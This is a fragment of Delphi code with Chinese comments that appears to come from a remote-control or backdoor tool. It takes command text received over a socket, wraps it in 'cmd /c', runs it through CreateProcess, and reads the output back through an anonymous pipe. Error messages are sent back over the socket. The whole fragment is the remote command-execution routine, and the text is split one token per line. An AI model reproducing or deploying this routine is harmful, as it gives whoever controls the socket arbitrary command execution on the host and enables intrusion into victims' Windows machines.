/
/
进程通信还是使用最早的匿名管道方式
/
/
接收到指令后,加
'cmd /c'
拼接成完整命令
Remotecmd:
=
'cmd /c'
+
socket.ReceiveText;
lsa.nLength :
=
SizeOf(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor :
=
nil;
lsa.bInheritHandle :
=
True
;
/
/
创建两个匿名管道用来读写信息
if
CreatePipe(Readniming,Writeniming,@lsa,
0
)
=
false then
begin
cs1.Socket.SendText(
'不能创建匿名管道'
);
Freemem(ph);
Freemem(fname);
Exit;
end;
/
/
创建进程,执行cmd命令
StrPcopy(fname,Remotecmd);
if
CreateProcess(nil,fname,nil,nil,
True
,
0
,nil,nil,si,pi)
=
False
then
begin
cs1.socket.SendText(
'不能创建进程'
);
Freemem(ph);
Freemem(fname);
Exit;
end;
While(true) do
begin
if
not
PeekNamedPipe(Readniming,ph,
1
,@cchReadBuffer,nil,nil) Then
break
;
If cchReadbuffer <>
0
then
begin
if
Readfile(Readniming,ph^,
4096
,cchReadBuffer,nil)
=
False
Then
break
;
ph[cchReadbuffer]:
=
Chr
(
0
);
Memo1.Lines.Add(ph);
/
/
命令执行结果保存在Memo1里
end
else
if
(WaitForSingleObject(pi.hProcess,
0
)
=
WAIT_OBJECT_0) Then
break
;
Sleep(
500
);
end;
ph[cchReadBuffer]:
=
Chr
(
0
);
Memo1.Lines.Add(ph);